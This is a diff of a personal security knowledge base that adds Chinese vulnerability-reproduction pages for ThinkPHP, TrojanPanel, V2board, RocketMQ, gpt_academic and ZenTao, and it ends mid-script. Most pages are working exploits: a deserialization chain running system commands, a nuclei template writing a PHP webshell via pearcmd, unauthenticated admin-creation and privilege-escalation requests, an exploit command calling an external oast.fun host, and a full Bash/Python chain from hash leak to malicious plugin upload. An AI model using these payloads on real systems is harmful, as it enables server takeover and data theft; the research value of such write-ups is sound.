wjlin02025-08-19 16:46:59
+
+

Thinkphp6.0.12

+

php 7.4.0

+
+

composer create-project topthink/think=6.0.12 tp6

+

测试代码​

+
    +
  1. 在项目目录下创建一个测试控制器
  2. +
+

php think make:controller Test

+
    +
  1. 在Test控制器 index方法中添加
  2. +
+
    public function index()
{
if ($a=input('param.a')){
var_dump(base64_decode($a));
echo "<br>";
unserialize(base64_decode($a));
}
}
+

漏洞分析​

+

​ 1.在大佬的文章总结中, 反序列化 一般起点出现在__desturct 和 __wakeup 通过全局搜索 查询满足条件的 在:vendor\topthink\think-orm\src\Model.php(大佬怎么说我怎么写)

+

image-20220303180420019

+
    +
  1. +

    第一个条件 要把 $this->lazySave设置为True

    +

    跟进$this->save(), $this->isEmpty() 只要保证data 不为空就行 $this->trigger('BeforeWrite')) 默认返回为真

    +
  2. +
+
public function isEmpty(): bool
{
return empty($this->data);
}
+
    +
  1. 将 $this->exists设置为True,跟进 $this -> updateData()
  2. +
+

image-20220303181123318

+
    +
  1. 在 621列 $allowFields = $this->checkAllowFields() 跟进
  2. +
+

image-20220303181558066

+
    +
  1. 继续跟进 565列 $query = $this->db();
  2. +
+

image-20220303181719266

+
    +
  1. 在362行将 $this->table . $this->suffix 拼接在一起,将$this->table 设置为一个对象 触发 __toString
  2. +
+

image-20220303181958370

+
    +
  1. 全局查找__toString 最后在 vendor\topthink\think-orm\src\model\concern\Conversion.php 中找到__toString()(以前版本也是在这里出现漏洞的,反正很好找到)这里是一个代码复用的机制所以不用将$this->table 设置成特定类, 刚好Model抽象类也有用到 use model\concern\Conversion 所以这里直接实例化本身就行
  2. +
+

image-20220303183151437

+
    +
  1. 继续跟进$this->toArray() ,将 $this->data 设置为数据即可进入循环, 在238 中跟进 $key 是 $data的键名
  2. +
+

image-20220303183401764

+
    +
  1. 跟进$this->getAttr($key)
  2. +
+

image-20220303183631626

+

$name 可控不提

+

$value 为 $this->getData($name)返回值 ,跟进一下

+

image-20220303183905068

+

$fieldName 跟进一下

+

image-20220303183952916

+

$fieldName 可控, 返回的是 $this->data[$fieldName]

+

很明显这个$value就是 $this->data的值,

+
    +
  1. 继续跟进$this->getValue($name, $value, $relation);
  2. +
+

image-20220303184253914

+

第 509 行 ,$fieldName 为 $this->data 键名 ,将this->json 设置成 $this->data的键名,$this->withAttr[$fieldName] 设置成 数组就行

+
    +
  1. 跟进$this->getJsonValue($fieldName, $value),保证$this->jsonAssoc为真即可,将$this->withAttr的 值设置成你需要执行的函数,而 $this->data的值设置为 需要执行的代码即可
  2. +
+

image-20220303185128690

+

POC​

+
<?php
namespace think{
abstract class Model{
private $lazySave;
private $data;
protected $table;
private $withAttr;
protected $json ;
protected $jsonAssoc;
private $exists;
public function __construct($obj = '')
{
$this->lazySave = True;
$this->exists = True;
$this->data = ['arr' =>['whoami']];
$this->table = $obj;
$this->withAttr = ['arr'=>['system']];
$this->json = ['arr'];
$this->jsonAssoc = True;
}
}
}
namespace think\Model{
use think\Model;
class Pivot extends Model{
}
}

namespace {
$a = new think\model\Pivot();
$b = new think\model\Pivot($a);
echo base64_encode(serialize($b));

}

+

结果​

+

image-20220303185727488

+
<?php

namespace think\model\concern;

trait Attribute
{
private $data = ["key" => ["key1" => "cat /f*"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/Thinkphp/Thinkphpv6.0.13多语言Rce/index.html b/en/docs/个人知识库/漏洞复现/Thinkphp/Thinkphpv6.0.13多语言Rce/index.html new file mode 100644 index 0000000..9526a08 --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/Thinkphp/Thinkphpv6.0.13多语言Rce/index.html @@ -0,0 +1,64 @@ + + + + + +Thinkphpv6.0.13多语言Rce | wjlin0 + + + + + + + +

Thinkphpv6.0.13多语言Rce

作者修订时间
wjlin02025-10-14 23:58:22
+

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

+

fofa指纹​

+
header="think_lang"
+

漏洞描述​

+

如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

+

环境搭建​

+

thinkphp6 ,打开多语言功能​

+

app/middleware.php:

+
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
\think\middleware\LoadLangPack::class,
// Session初始化
// \think\middleware\SessionInit::class
];
+

thinkphp5 ,打开多语言功能​

+

config/app.php +application/config.php

+
'lang_switch_on'         => true
+

测试环境搭建​

+
git clone https://github.com/top-think/think.git tp6
cd tp6
git checkout v6.0.12
+

更改 composer.json ,安装 v6.0.12 :

+
"require": {
"php": ">=7.2.5",
"topthink/framework": "6.0.12",
"topthink/think-orm": "^2.0"
},
+
composer install
+

然后打开多语言功能:app/middleware.php

+

<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
\think\middleware\LoadLangPack::class,
// Session初始化
// \think\middleware\SessionInit::class
];
+

启动docker

+
docker run -itd -p 1080:80 --name tp6 -v $PWD:/var/www/html php:7.4-apache
+

访问:

+

http://192.168.1.128:1080/public/index.php

+

调试​

+

调试环境:windows ,php7.4,thinkphp6.0.13(调试环境用的另一个、不影响结果)

+
http://127.0.0.1/index.php?lang=../../../../../public/index
+

每个 middleware 的 handle() 函数都会被调用,这里断在 LoadLangPack.php 的 handle() ,直接在最开头调用 $langset = $this->detect($request); :

+

image-20221221114801906

+

跟进$this->detect($request), 发现是对langSet取值,

+

image-20221221115109654

+

91行,这里做了一个判断,我们可以不难发现这个$this->config['allow_lang_list'] 默认是为空的,可以不用管,返回值就为这里的$range

+

image-20221221115217996

+

回到handle(),发现会只要不是与$this->config['default_lang'] 默认触发会调用$this->lang->switchLangSet($langset); ,跟进调试

+

image-20221221115558778

+

在 135 行,$this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',]),在这里就实现了文件包含

+
$this->load([
$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
]);
+

在$this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',])中,默认会走到$this->parse($name)

+

image-20221221120750404

+

如果是php文件直接就include的了

+

image-20221221120935057

+

image-20221221121001328

+

POC​

+

可以利用pearcmd 文件包含这个 trick ,可以参考 p 牛的文章:

+

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

+
id: thinkphp-language-local-file-include
info:
name: thinkphp-多语言-本地文件包含rce
author: wjlin0
severity: critical
description: 如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
metadata:
fofa-query: header="think_lang"
reference:
- https://tttang.com/archive/1865/#toc_thinkphp-6
- https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
tags: rce,thinkphp,include
requests:
- raw:
- |+
GET /index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();?>+/tmp/admin.php HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

- |+
GET /index.php?lang=../../../../../../../../tmp/admin HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

matchers-condition: and
matchers:
- type: word
part: body
words:
- PHP Version
- type: word
part: body
words:
- '#PEAR_Config'
- type: status
status:
- 200
+

参考​

+

Thinkphp 多语言 RCE - 跳跳糖

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/Trojanpanel/TrojanPanel未授权添加用户/index.html b/en/docs/个人知识库/漏洞复现/Trojanpanel/TrojanPanel未授权添加用户/index.html new file mode 100644 index 0000000..881bef8 --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/Trojanpanel/TrojanPanel未授权添加用户/index.html @@ -0,0 +1,24 @@ + + + + + +TrojanPanel未授权添加用户 | wjlin0 + + + + + + + +

TrojanPanel未授权添加用户

作者修订时间
wjlin02025-08-19 16:48:04
+

闲来无事 发现了 一个授权漏洞

+

**漏洞描述:**攻击者可以未授权添加后台管理员用户

+

如下图所示,通过burp发送请求即可添加管理员用户

+
POST /api/account/createAccount HTTP/1.1
Host: xx.xx.xx.xx:xxx
Content-Length: 165
Sec-Ch-Ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
Accept: application/json, text/plain, */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"quota":-1,"download":0,"upload":0,"username":"test02","pass":"qwe511402","roleId":2,"deleted":0,"expireTime":1964411864000,"createTime":"2023-04-09T05:57:44.830Z"}
+

发送后,即可成功用户test02 登录到后台,如下图

+

image-20230409143850113

+

**漏洞危害:**利用该接口,攻击者可成功添加用户至后台、

+

**修复建议:**添加鉴权,只允许系统管理员添加用户

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/V2board/privilege-escalation-1.6/index.html b/en/docs/个人知识库/漏洞复现/V2board/privilege-escalation-1.6/index.html new file mode 100644 index 0000000..96ff84b --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/V2board/privilege-escalation-1.6/index.html @@ -0,0 +1,50 @@ + + + + + +privilege-escalation-1.6 | wjlin0 + + + + + + + +

privilege-escalation-1.6

作者修订时间
wjlin02025-08-19 16:47:37
+
+

无意中发现一个机场的管理端有这个越权漏洞所以简单复现一下

+
+

V2board是一个多用户代理工具管理面板。在其1.6.1版本中,引入了对于用户Session的缓存机制,服务器会将用户的认证信息储存在Redis缓存中。

+

但由于读取缓存时没有校验该用户是普通用户还是管理员,导致普通用户的认证信息即可访问管理员接口,造成提权漏洞。

+

参考链接:

+ +

漏洞环境​

+ +

漏洞复现​

+

可以从参考连接中找到一个鉴权的相关信息,从缓存中拿到认证后并没有做鉴权,所以一个用户的session 可以去访问所以接口。

+

image-20230129144621914

+

复现该漏洞,必须注册或找到一个普通用户账号。注册完成后,我们发送如下请求进行登录(将其中账号密码替换成你注册时使用的信息):

+
curl -i -s -X POST -d "email=test2%40test.com&password=12345678&invite_code=&email_code=" http://192.168.182.1:18080/api/v1/passport/auth/register
+

image-20230129150322091

+

注册完成后,选择登录会返回auth_data

+
curl -i -s -X POST -d "email=test%40test.com&password=12345678" http://192.168.182.1:18080/api/v1/passport/auth/login
+

image-20230129145843609

+

拷贝这个认证信息,并替换到如下数据包的Authorization头中,发送:

+
GET /api/v1/user/info HTTP/1.1
Host: 192.168.182.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: */*
Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk
Connection: close

+

或者

+
curl -i -s -X GET -H "Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk"  http://192.168.182.1:18080/api/v1/user/info
+

image-20230129150050396

+

image-20230129150811848

+

写入后,带着这个auth 去请求Admin的Api即可

+
GET /api/v1/admin/user/fetch HTTP/1.1
Host: 192.168.182.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: */*
Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk
Connection: close

+

或者

+
curl -H "Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk" -i -s -X GET http://192.168.182.1:18080/api/v1/admin/user/fetch
+

image-20230129150731716

+

image-20230129150723125

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33246/index.html b/en/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33246/index.html new file mode 100644 index 0000000..906de5e --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33246/index.html @@ -0,0 +1,27 @@ + + + + + +CVE-2023-33246 | wjlin0 + + + + + + + +

CVE-2023-33246

CVE-2023-33246

+
+

对于RocketMQ 5.1.0及以下版本,在某些情况下,存在远程命令执行的风险。RocketMQ的几个组件,包括NameServer、Broker和Controller,在extranet上泄露,并且缺乏权限验证,攻击者可以通过使用更新配置功能作为RocketMQ运行的系统用户执行命令来利用此漏洞。此外,攻击者还可以通过伪造RocketMQ协议内容来达到同样的效果。为了防止这些攻击,建议用户升级到5.1.1或更高版本以使用RocketMQ 5.x,或升级到4.9.6或更高版以使用Rocket MQ 4.x。

+
+

环境搭建​

+
docker pull apache/rocketmq:4.9.4
# Start nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
# Start Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
+

攻击​

+
+

poc: check.py

+

exp: exp.py

+
+
# Detect RocketMQ version to identify vulnerabilities
```
python3 check.py --ip 127.0.0.1 --port 9876
# or
python3 check.py --file rocketmq_targets.txt --port 9876
```

# Run exploit
```
python3 exp.py 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test
```

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33979/index.html b/en/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33979/index.html new file mode 100644 index 0000000..5076a9d --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/cve/2023/CVE-2023-33979/index.html @@ -0,0 +1,26 @@ + + + + + +CVE-2023-33979 | wjlin0 + + + + + + + +

CVE-2023-33979

CVE-2023-33979

+
+

gpt_academic 为 ChatGPT/GLM 提供图形界面。在 gpt_academic 3.37 及之前的版本中发现了一个漏洞。此问题会影响组件配置文件处理程序的某些未知处理。参数文件的操纵导致信息泄露。由于没有配置敏感文件禁止访问,部分工作目录下的敏感信息文件可以通过/file路径读取,导致敏感信息泄露。这会影响通过“config.py”、“config_private.py”、“Dockerfile”使用文件配置的用户。补丁可在提交 1dcc2873d2168ad2d3d70afcb453ac1695fbdf02 获得。作为一种解决方法,可以使用环境变量而不是 config*.py 文件来配置这个项目,或者使用 docker-compose 安装来配置这个项目。

+
+

环境搭建​

+
git clone -b version3.36 https://github.com/binary-husky/gpt_academic.git
cd gpt_academic && python -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
# 填写好对应的key后即可启动
python main.py
+

攻击​

+
+

poc: CVE-2023-33979.yaml

+
+
# nuclei version 2.9.6
# nuclei -t poc.yaml -u http://www.wjlin0.com
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/用友/YonBIP/YonBIP_NCSysBrokerServlet_反序列化漏洞分析/YonBIP_NCSysBrokerServlet_反序列化漏洞分析(1)/index.html b/en/docs/个人知识库/漏洞复现/用友/YonBIP/YonBIP_NCSysBrokerServlet_反序列化漏洞分析/YonBIP_NCSysBrokerServlet_反序列化漏洞分析(1)/index.html new file mode 100644 index 0000000..813011c --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/用友/YonBIP/YonBIP_NCSysBrokerServlet_反序列化漏洞分析/YonBIP_NCSysBrokerServlet_反序列化漏洞分析(1)/index.html @@ -0,0 +1,16 @@ + + + + + +wjlin0 + + + + + + + +

Page Not Found

We could not find what you were looking for.

Please contact the owner of the site that linked you to the original URL and let them know their link is broken.

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/禅道/chandao_ajaxGetList_flag_wp/index.html b/en/docs/个人知识库/漏洞复现/禅道/chandao_ajaxGetList_flag_wp/index.html new file mode 100644 index 0000000..2779f74 --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/禅道/chandao_ajaxGetList_flag_wp/index.html @@ -0,0 +1,148 @@ + + + + + +禅道 action.ajaxGetList 未授权泄露到 Getshell 读取 /flag WP | wjlin0 + + + + + + + +

禅道 action.ajaxGetList 未授权泄露到 Getshell 读取 /flag WP

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-08-28 19:22:45
+

0x01 环境信息​

+

目标是禅道系统,入口形式如下:

+
/index.php?m=模块名&f=方法名
+

当前重点接口:

+
/index.php?m=action&f=ajaxGetList
+

本地验证环境:

+
http://127.0.0.1:18088
+

如果是远程靶机,把 PoC 里的 BASE_URL 改成远程地址即可。

+
+

注意:环境里原先遗留过 /data/cmd.php,这是历史 webshell,不能作为本题解法使用。正式链路里不依赖该文件。

+
+

0x02 漏洞点分析​

+

禅道配置里把 action.ajaxGetList 加入了未登录可访问的方法列表:

+
$config->openMethods[] = 'action.ajaxgetlist';
+

对应控制器逻辑大致如下:

+
public function ajaxGetList($objectType, $objectID)
{
$this->app->loadLang($objectType);
$actions = $this->action->getList($objectType, $objectID);
$actions = $this->action->buildActionList($actions);
return $this->send($actions);
}
+

该接口本意是给对象详情页异步加载操作历史,但没有重新校验当前用户是否有权限查看对应对象历史。

+

接口需要加 Ajax 头,否则响应为空:

+
X-Requested-With: XMLHttpRequest
+

访问用户对象历史:

+
curl -sS \
-H 'X-Requested-With: XMLHttpRequest' \
'http://127.0.0.1:18088/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'
+

可以看到用户 15 的密码修改历史,例如:

+
旧值为 "aa11c1eecc7dcdb46252f3ac31c45e30",新值为 "0f2797f2182804d0cc7f0b85d254c146"
+

泄露出的新值:

+
0f2797f2182804d0cc7f0b85d254c146
+

这个哈希刚好也是当前 admin 用户的数据库密码哈希。

+

0x03 为什么泄露哈希可以登录​

+

禅道前端登录时不是直接提交明文密码,而是先请求随机数:

+
/index.php?m=user&f=refreshRandom
+

然后提交:

+
md5(md5(明文密码) + rand)
+

服务端校验 32 位密码参数时,会执行类似逻辑:

+
if(strlen($password) == 32)
{
$hash = $this->session->rand ? md5($user->password . $this->session->rand) : $user->password;
if($password == $hash) return $user;
}
+

也就是说,服务端拿数据库里的 user->password 与当前 session 的 rand 拼接再 MD5。

+

因此只要知道数据库密码哈希,就可以不爆破明文密码,直接构造:

+
login_password = md5(leaked_db_hash + rand)
+

登录流程:

+
base='http://127.0.0.1:18088'
cj=$(mktemp)

hash='0f2797f2182804d0cc7f0b85d254c146'
rand=$(curl -sS -c "$cj" "$base/index.php?m=user&f=refreshRandom")
pass=$(php -r 'echo md5($argv[1].$argv[2]);' "$hash" "$rand")

curl -sS -b "$cj" -c "$cj" \
"$base/index.php?m=user&f=login&account=admin&password=$pass&passwordStrength=3"
+

登录成功后,$cj 里保存了有效的 zentaosid。

+

0x04 后台插件上传 Getshell 思路​

+

登录 admin 后,可以访问禅道后台插件安装功能:

+
/index.php?m=extension&f=upload
/index.php?m=extension&f=install
+

插件 ZIP 解压后会进入:

+
/data/zentao/extension/pkg/<插件代号>/
+

安装插件时,会把插件包内除 db、doc、hook 以外的目录复制到禅道应用根目录。

+

例如 ZIP 内包含:

+
ctf_flag_ext/
├── doc/
│ └── en.yaml
└── www/
└── data/
└── readflag.php
+

安装后会复制为:

+
/data/zentao/www/data/readflag.php
+

Web 访问路径就是:

+
/data/readflag.php
+

readflag.php 内容:

+
<?php readfile('/flag');
+

0x05 制作插件 ZIP​

+

插件包目录必须带一个说明文件,最小 doc/en.yaml 如下:

+
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
+

制作命令:

+
work=$(mktemp -d)
mkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"

cat > "$work/ctf_flag_ext/doc/en.yaml" <<'YAML'
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
YAML

cat > "$work/ctf_flag_ext/www/data/readflag.php" <<'PHP'
<?php readfile('/flag');
PHP

cd "$work"
zip -q -r ctf_flag_ext.zip ctf_flag_ext
+

生成的 ZIP 路径:

+
$work/ctf_flag_ext.zip
+

0x06 上传插件的坑点​

+

上传请求必须带同源 Referer,否则禅道框架的 CSRF 逻辑会清空 $_FILES 和 $_POST,导致你明明发了 multipart,服务端却进入不了上传分支。

+

正确上传请求:

+
curl -sS \
-b "$cj" -c "$cj" \
-H "Referer: $base/index.php?m=extension&f=upload" \
-H 'X-Requested-With: XMLHttpRequest' \
-F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \
"$base/index.php?m=extension&f=upload"
+

成功响应类似:

+
{"result":"success","callback":{"name":"loadInModal","params":"/index.php?m=extension&f=install&extension=ctf_flag_ext"}}
+

0x07 安装插件的坑点​

+

extension.install 的 PHP 方法签名是:

+
public function install(
$extension,
$downLink = '',
$md5 = '',
$type = '',
$overridePackage = 'no',
$ignoreCompatible = 'no',
$overrideFile = 'no',
$agreeLicense = 'no',
$upgrade = 'no'
)
+

禅道这里的参数是按 URL 参数出现顺序绑定的,不要以为参数名一定会生效。

+

所以安装时要把前面的空参数也补齐:

+
curl -sS \
-b "$cj" -c "$cj" \
-H "Referer: $base/index.php?m=extension&f=install" \
"$base/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no"
+

然后访问:

+
curl -sS "$base/data/readflag.php"
+

即可得到:

+
flag{12345}
+

0x08 完整 Burp 代理版 PoC​

+

下面这个 PoC 会把所有 HTTP 请求代理到 Burp:

+
http://127.0.0.1:8080
+

使用前确保 Burp 已经监听 127.0.0.1:8080。

+

如果目标是 HTTPS 且证书不被信任,curl 版本 PoC 用 -k,Python 版本 PoC 用 verify=False。

+

Bash + curl 版​

+
#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${1:-http://127.0.0.1:18088}"
BURP_PROXY="${BURP_PROXY:-http://127.0.0.1:8080}"

cj=$(mktemp)
work=$(mktemp -d)

echo "[+] Target: $BASE_URL"
echo "[+] Burp proxy: $BURP_PROXY"

echo "[+] Step 1: leak password hash from action.ajaxGetList"
leak_resp=$(curl -k -sS \
--proxy "$BURP_PROXY" \
-H 'X-Requested-With: XMLHttpRequest' \
"$BASE_URL/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15")

hash=$(printf '%s' "$leak_resp" | grep -Eo '[a-f0-9]{32}' | tail -n 1)
echo "[+] leaked hash: $hash"

echo "[+] Step 2: get session rand"
rand=$(curl -k -sS \
--proxy "$BURP_PROXY" \
-c "$cj" \
"$BASE_URL/index.php?m=user&f=refreshRandom")

echo "[+] rand: $rand"

echo "[+] Step 3: build login password md5(hash + rand)"
login_pass=$(php -r 'echo md5($argv[1].$argv[2]);' "$hash" "$rand")
echo "[+] login password: $login_pass"

echo "[+] Step 4: login as admin"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
"$BASE_URL/index.php?m=user&f=login&account=admin&password=$login_pass&passwordStrength=3" \
>/dev/null

echo "[+] Step 5: make malicious extension zip"
mkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"

cat > "$work/ctf_flag_ext/doc/en.yaml" <<'YAML'
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
YAML

cat > "$work/ctf_flag_ext/www/data/readflag.php" <<'PHP'
<?php readfile('/flag');
PHP

(
cd "$work"
zip -q -r ctf_flag_ext.zip ctf_flag_ext
)

echo "[+] zip path: $work/ctf_flag_ext.zip"

echo "[+] Step 6: upload extension zip"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
-H "Referer: $BASE_URL/index.php?m=extension&f=upload" \
-H 'X-Requested-With: XMLHttpRequest' \
-F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \
"$BASE_URL/index.php?m=extension&f=upload"
echo

echo "[+] Step 7: install extension"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
-H "Referer: $BASE_URL/index.php?m=extension&f=install" \
"$BASE_URL/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no" \
>/dev/null

echo "[+] Step 8: read flag"
curl -k -sS \
--proxy "$BURP_PROXY" \
"$BASE_URL/data/readflag.php"
echo

echo "[+] cookie jar: $cj"
echo "[+] work dir: $work"
+

运行:

+
chmod +x poc.sh
BURP_PROXY='http://127.0.0.1:8080' ./poc.sh 'http://127.0.0.1:18088'
+

Python requests 版​

+
#!/usr/bin/env python3
import hashlib
import os
import re
import shutil
import sys
import tempfile
import zipfile

import requests


BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18088'
BURP_PROXY = os.environ.get('BURP_PROXY', 'http://127.0.0.1:8080')

PROXIES = {
'http': BURP_PROXY,
'https': BURP_PROXY,
}


def md5(data: str) -> str:
return hashlib.md5(data.encode()).hexdigest()


def make_zip(workdir: str) -> str:
root = os.path.join(workdir, 'ctf_flag_ext')
os.makedirs(os.path.join(root, 'doc'), exist_ok=True)
os.makedirs(os.path.join(root, 'www', 'data'), exist_ok=True)

with open(os.path.join(root, 'doc', 'en.yaml'), 'w', encoding='utf-8') as f:
f.write('''code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
''')

with open(os.path.join(root, 'www', 'data', 'readflag.php'), 'w', encoding='utf-8') as f:
f.write("<?php readfile('/flag');\n")

zip_path = os.path.join(workdir, 'ctf_flag_ext.zip')
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, filenames in os.walk(root):
for filename in filenames:
path = os.path.join(dirpath, filename)
arcname = os.path.relpath(path, workdir)
zf.write(path, arcname)
return zip_path


def main():
session = requests.Session()
session.proxies.update(PROXIES)
session.verify = False

print(f'[+] Target: {BASE_URL}')
print(f'[+] Burp proxy: {BURP_PROXY}')

print('[+] Step 1: leak password hash')
leak_url = f'{BASE_URL}/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'
leak_resp = session.get(leak_url, headers={'X-Requested-With': 'XMLHttpRequest'})
leak_resp.raise_for_status()

hashes = re.findall(r'[a-f0-9]{32}', leak_resp.text)
if not hashes:
raise RuntimeError('no md5 hash found in ajaxGetList response')
leaked_hash = hashes[-1]
print(f'[+] leaked hash: {leaked_hash}')

print('[+] Step 2: get session rand')
rand_resp = session.get(f'{BASE_URL}/index.php?m=user&f=refreshRandom')
rand_resp.raise_for_status()
rand = rand_resp.text.strip()
print(f'[+] rand: {rand}')

print('[+] Step 3: login as admin')
login_password = md5(leaked_hash + rand)
login_url = f'{BASE_URL}/index.php?m=user&f=login&account=admin&password={login_password}&passwordStrength=3'
login_resp = session.get(login_url)
login_resp.raise_for_status()

workdir = tempfile.mkdtemp(prefix='zt-ext-')
try:
print('[+] Step 4: make extension zip')
zip_path = make_zip(workdir)
print(f'[+] zip path: {zip_path}')

print('[+] Step 5: upload extension')
upload_url = f'{BASE_URL}/index.php?m=extension&f=upload'
with open(zip_path, 'rb') as fp:
files = {'files[]': ('ctf_flag_ext.zip', fp, 'application/zip')}
upload_resp = session.post(
upload_url,
files=files,
headers={
'Referer': upload_url,
'X-Requested-With': 'XMLHttpRequest',
},
)
upload_resp.raise_for_status()
print(upload_resp.text)

